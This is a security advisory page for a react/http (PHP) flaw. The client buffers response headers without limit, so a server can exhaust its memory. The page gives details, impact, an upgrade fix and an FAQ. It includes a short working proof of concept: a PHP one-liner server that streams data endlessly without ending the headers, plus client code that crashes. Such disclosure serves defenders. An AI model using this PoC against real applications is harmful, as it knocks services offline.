CVE-2026-104827: react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS

Published Oct 15, 2026
·
Updated

Summary

React\Http\Browser and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. ClientRequestStream::handleData() appends every incoming byte to an internal buffer and only scans that buffer for the \r\n\r\n (or \n\n) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's memorylimit is exhausted and the process crashes.

This is an unauthenticated, network-reachable denial of service against any application that uses react/http as a client to fetch untrusted or attacker-influenced URLs, including via redirects.

Details

ClientRequestStream::handleData() is bound directly to the underlying connection's data event, so every byte the peer sends is appended with no size check:

php public function handleData($data) { $this->buffer .= $data;

// buffer until double CRLF (or double LF for compatibility with legacy servers) $eom = \strpos($this->buffer, "\r\n\r\n"); $eomLegacy = \strpos($this->buffer, "\n\n"); if ($eom !== false || $eomLegacy !== false) {

The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.

The codebase already applies this class of limit elsewhere, but not symmetrically. RequestHeaderParser caps incoming request headers when acting as a server, and Transaction::bufferResponse() caps the response body, but only once the header section has already been parsed into a Response. Response header reception was the one stage with no limit at all.

PoC

An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:

bash php -r '$s=streamsocketserver("tcp://127.0.0.1:18080"); $c=streamsocketaccept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, strrepeat("A",1048576)); usleep(10000); }'

A client fetching it, with memorylimit=64M:

php $browser = new React\Http\Browser(); $browser->get("http://127.0.0.1:18080/")->then( function () { echo "ok\n"; }, function ($e) { echo getclass($e) . ": " . $e->getMessage() . "\n"; } );

Client memory grows steadily until the process dies with Allowed memory size ... exhausted inside ClientRequestStream::handleData().

Impact

Remotely triggerable, unauthenticated denial of service against any process using Browser to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.

Other sources

react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 1.0.0 until 1.11.1, React\Http\Browser uses ClientRequestStream::handleData() to append response-header bytes to an internal buffer without enforcing a size limit. A remote server can send a valid status line and partial header, withhold the \r\n\r\n or \n\n header terminator, and continue streaming data so the buffer grows for the life of the connection. Applications that fetch attacker-controlled or attacker-influenced URLs, including URLs reached through redirects, can exhaust PHP memorylimit and crash the event-loop or worker process. Confidentiality and integrity are unaffected. This issue is fixed in version 1.11.1.

— MITRE

Affected Software

2 affected componentsFixes available
composer/react/http>=1.0.0<1.11.1
composer/react/http>=1.0.0<=1.11.0
1.11.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/react/http to a version that resolves this vulnerability.

    Fixed in 1.11.1
  2. Upgrade

    Upgrade react/http to a version that resolves this vulnerability.

    Fixed in 1.11.1

Event History

Oct 15, 2026
CVE Published
via MITRE·06:19 PM
Data Sourced
via MITRE·06:19 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:09 PM
Data Sourced
via GitHub·08:09 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this denial-of-service issue?

Applications using React\Http\Browser in react/http versions 1.0.0 through 1.11.1 are exposed when they fetch URLs controlled or influenced by an attacker. This includes destinations reached through redirects.

2

What does an attacker need to do to trigger the memory exhaustion?

The attacker needs to operate or control a server that the application fetches. That server sends a valid HTTP status line and a partial header, omits the end-of-header terminator, and continues streaming data so the client buffers it for the connection lifetime.

3

What is the practical impact if exploitation succeeds?

The response-header buffer can grow until PHP memory_limit is exhausted, crashing the event-loop or worker process. The reported impact is availability only; confidentiality and integrity are unaffected.

4

What version resolves the issue?

The issue is fixed in react/http version 1.11.1.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203